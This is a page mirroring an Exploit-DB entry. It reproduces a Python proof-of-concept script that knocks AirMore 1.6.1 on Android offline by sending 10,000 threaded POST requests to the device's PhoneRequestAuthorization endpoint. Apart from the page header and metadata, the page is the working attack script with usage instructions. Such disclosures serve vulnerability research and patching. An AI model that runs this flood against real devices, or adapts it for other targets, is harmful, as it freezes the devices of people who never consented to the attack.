AirMore 1.6.1 – Denial of Service (PoC) - 体验盒子

作者： s4vitar

日期： 2019-02-15

类别：

dos

平台：

android

来源：https://www.exploit-db.com/exploits/46381/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

#!/usr/bin/python

#coding: utf-8

# ************************************************************************

# *Author: Marcelo Vázquez (aka s4vitar) *

# * AirMore 1.6.1 Remote Denial of Service (DoS) & System Freeze *

# ************************************************************************

# Exploit Title: AirMore 1.6.1 Remote Denial of Service (DoS) & System Freeze

# Date: 2019-02-14

# Exploit Author: Marcelo Vázquez (aka s4vitar)

# Vendor Homepage: https://airmore.com/

# Software Link: https://airmore.com/download

# Version: <= AirMore 1.6.1

# Tested on: Android

import sys, requests, threading, signal

def handler(signum, frame):

print '\nFinishing program...\n'

sys.exit(0)

if len(sys.argv) != 3:

print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"

print "Example: python AirMore_dos.py 192.168.1.125 2333\n"

sys.exit(0)

def startAttack(url):

url_destination = url + '/?Key=PhoneRequestAuthorization'

headers = {'Origin': url, 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'es-ES,es;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Content-Type': 'text/plain;charset=UTF-8', 'accept': 'text/plain', 'Referer': url, 'Connection': 'keep-alive'}

r = requests.post(url_destination, headers=headers)

if __name__ == '__main__':

signal.signal(signal.SIGINT, handler)

url = 'http://' + sys.argv[1] + ':' + sys.argv[2]

threads = []

for i in xrange(0, 10000):

t = threading.Thread(target=startAttack, args=(url,))

threads.append(t)

for x in threads:

x.start()

for x in threads:

x.join()